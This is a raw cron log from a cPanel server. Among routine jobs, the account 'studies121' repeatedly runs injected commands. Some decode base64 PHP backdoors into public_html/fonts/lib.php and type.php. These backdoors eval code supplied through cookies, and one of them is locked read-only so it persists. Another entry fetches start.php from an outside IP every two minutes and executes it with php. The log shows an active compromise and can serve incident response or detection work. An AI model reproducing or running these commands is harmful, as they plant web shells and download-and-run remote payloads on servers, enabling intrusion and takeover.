Sep 22 02:02:01 ip-184-168-122-23 CROND[25618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:02:01 ip-184-168-122-23 CROND[25620]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 02:03:01 ip-184-168-122-23 CROND[25701]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:03:01 ip-184-168-122-23 CROND[25703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:03:01 ip-184-168-122-23 CROND[25702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:03:01 ip-184-168-122-23 CROND[25704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:04:01 ip-184-168-122-23 CROND[25780]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 02:04:01 ip-184-168-122-23 CROND[25781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:04:01 ip-184-168-122-23 CROND[25784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:04:01 ip-184-168-122-23 CROND[25787]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:04:01 ip-184-168-122-23 CROND[25788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:05:01 ip-184-168-122-23 CROND[25867]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:05:01 ip-184-168-122-23 CROND[25868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:05:01 ip-184-168-122-23 CROND[25870]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 02:05:01 ip-184-168-122-23 CROND[25871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:05:01 ip-184-168-122-23 CROND[25872]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 02:05:01 ip-184-168-122-23 CROND[25873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:05:01 ip-184-168-122-23 CROND[25874]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 02:06:01 ip-184-168-122-23 CROND[26058]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 02:06:01 ip-184-168-122-23 CROND[26059]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:06:01 ip-184-168-122-23 CROND[26062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:06:01 ip-184-168-122-23 CROND[26063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:06:01 ip-184-168-122-23 CROND[26064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:07:01 ip-184-168-122-23 CROND[26146]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:07:01 ip-184-168-122-23 CROND[26149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:07:01 ip-184-168-122-23 CROND[26150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:07:01 ip-184-168-122-23 CROND[26148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:08:01 ip-184-168-122-23 CROND[26226]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 02:08:01 ip-184-168-122-23 CROND[26228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:08:01 ip-184-168-122-23 CROND[26230]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:08:01 ip-184-168-122-23 CROND[26231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:08:01 ip-184-168-122-23 CROND[26232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:09:01 ip-184-168-122-23 CROND[26326]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:09:01 ip-184-168-122-23 CROND[26328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:09:01 ip-184-168-122-23 CROND[26330]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 02:09:01 ip-184-168-122-23 CROND[26329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:09:01 ip-184-168-122-23 CROND[26331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:10:01 ip-184-168-122-23 CROND[26441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:10:01 ip-184-168-122-23 CROND[26440]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 02:10:01 ip-184-168-122-23 CROND[26445]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:10:01 ip-184-168-122-23 CROND[26446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:10:01 ip-184-168-122-23 CROND[26448]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 02:10:01 ip-184-168-122-23 CROND[26449]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 02:10:01 ip-184-168-122-23 CROND[26450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:10:01 ip-184-168-122-23 CROND[26451]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 02:11:01 ip-184-168-122-23 CROND[26636]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:11:01 ip-184-168-122-23 CROND[26639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:11:01 ip-184-168-122-23 CROND[26638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:11:01 ip-184-168-122-23 CROND[26640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:12:01 ip-184-168-122-23 CROND[26731]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:12:01 ip-184-168-122-23 CROND[26735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:12:01 ip-184-168-122-23 CROND[26734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:12:01 ip-184-168-122-23 CROND[26733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:12:01 ip-184-168-122-23 CROND[26738]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 02:13:01 ip-184-168-122-23 CROND[26829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:13:01 ip-184-168-122-23 CROND[26830]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:13:01 ip-184-168-122-23 CROND[26833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:13:01 ip-184-168-122-23 CROND[26834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:14:01 ip-184-168-122-23 CROND[26918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:14:01 ip-184-168-122-23 CROND[26921]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:14:01 ip-184-168-122-23 CROND[26922]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 02:14:01 ip-184-168-122-23 CROND[26920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
